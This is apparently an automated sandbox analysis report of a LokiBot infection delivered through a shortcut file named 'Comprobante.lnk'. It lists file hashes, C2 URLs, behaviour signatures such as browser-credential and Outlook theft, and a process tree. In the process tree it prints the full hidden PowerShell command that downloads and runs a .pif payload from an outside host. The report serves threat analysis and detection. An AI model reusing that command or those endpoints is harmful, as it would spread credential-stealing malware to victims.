Analysis

  • max time kernel
    126s
  • max time network
    136s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-10-2024 07:14

General

  • Target

    Comprobante.lnk

  • Size

    2KB

  • MD5

    8c19af87f9129a49e35158f93815eb7f

  • SHA1

    9a6c4b22c2e5bf7f039eb2ad20d0822c0e913d14

  • SHA256

    245f1f3463841248c78c4917dc1a846419f92d957132fabf0b4ee4501dcb6198

  • SHA512

    829aa9dea154d1ac2493bee30b32fc518f0c6a595b806aefd13652591424acf885135da1eafbb1641a40fa6d84761229ea54c45bfefa7bf3f300461043f558df

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif

Extracted

Family

lokibot

C2

http://freighteighttwocam.ddns.net/mdifygidj/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Comprobante.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4240
    • C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\PoWeRShElL.exe" -ExecutionPolicy Bypass -WindowStyle hiDDEn -HiDdEn -Command ddisplay.dll;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif','screens.pif');./'screens.pif';(get-item 'screens.pif').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4796
      • C:\Users\Admin\AppData\Local\Temp\screens.pif
        "C:\Users\Admin\AppData\Local\Temp\screens.pif"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2664
        • C:\Users\Admin\AppData\Local\Temp\screens.pif
          C:\Users\Admin\AppData\Local\Temp\screens.pif
          4⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:2024
        • C:\Users\Admin\AppData\Local\Temp\screens.pif
          C:\Users\Admin\AppData\Local\Temp\screens.pif
          4⤵
          • Executes dropped EXE
          PID:4624
        • C:\Users\Admin\AppData\Local\Temp\screens.pif
          C:\Users\Admin\AppData\Local\Temp\screens.pif
          4⤵
          • Executes dropped EXE
          PID:464

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xf3e1dho.gjm.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\screens.pif

    Filesize

    363KB

    MD5

    db94d5df4add0a06f261eae73c2da5db

    SHA1

    a37ffecd4004127c3ee2e4ed8f2e5d507c418dc1

    SHA256

    8cf4cc35e623a326f1b5fe4892f5d5e44272925f33b7439e675edfc81ba2af70

    SHA512

    8fc3f52d241cd06db33bcc6fb85564a4fd3ee171e154162b2fb5b1c8e63216cd0f470ebe9ddc1d5e093b4713e1e93df33d696eed0258d89e3a33b68d47b3cc67

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2412658365-3084825385-3340777666-1000\0f5007522459c86e95ffcc62f32308f1_dd06e985-ac7f-4567-b0c7-3752f03c29fc

    Filesize

    46B

    MD5

    c07225d4e7d01d31042965f048728a0a

    SHA1

    69d70b340fd9f44c89adb9a2278df84faa9906b7

    SHA256

    8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

    SHA512

    23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

  • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2412658365-3084825385-3340777666-1000\0f5007522459c86e95ffcc62f32308f1_dd06e985-ac7f-4567-b0c7-3752f03c29fc

    Filesize

    46B

    MD5

    d898504a722bff1524134c6ab6a5eaa5

    SHA1

    e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

    SHA256

    878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

    SHA512

    26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

  • memory/2024-32-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2024-30-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2024-66-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2024-58-0x0000000000400000-0x00000000004A2000-memory.dmp

    Filesize

    648KB

  • memory/2664-24-0x0000000000C40000-0x0000000000C46000-memory.dmp

    Filesize

    24KB

  • memory/2664-25-0x00000000045E0000-0x0000000004646000-memory.dmp

    Filesize

    408KB

  • memory/2664-26-0x0000000008070000-0x000000000810C000-memory.dmp

    Filesize

    624KB

  • memory/2664-27-0x00000000086C0000-0x0000000008C64000-memory.dmp

    Filesize

    5.6MB

  • memory/2664-28-0x00000000081B0000-0x0000000008242000-memory.dmp

    Filesize

    584KB

  • memory/2664-29-0x0000000004B10000-0x0000000004B16000-memory.dmp

    Filesize

    24KB

  • memory/2664-23-0x0000000000090000-0x00000000000F4000-memory.dmp

    Filesize

    400KB

  • memory/4796-14-0x00007FF9D8CD0000-0x00007FF9D9791000-memory.dmp

    Filesize

    10.8MB

  • memory/4796-2-0x00007FF9D8CD3000-0x00007FF9D8CD5000-memory.dmp

    Filesize

    8KB

  • memory/4796-13-0x00007FF9D8CD0000-0x00007FF9D9791000-memory.dmp

    Filesize

    10.8MB

  • memory/4796-8-0x000001D445080000-0x000001D4450A2000-memory.dmp

    Filesize

    136KB

  • memory/4796-22-0x00007FF9D8CD0000-0x00007FF9D9791000-memory.dmp

    Filesize

    10.8MB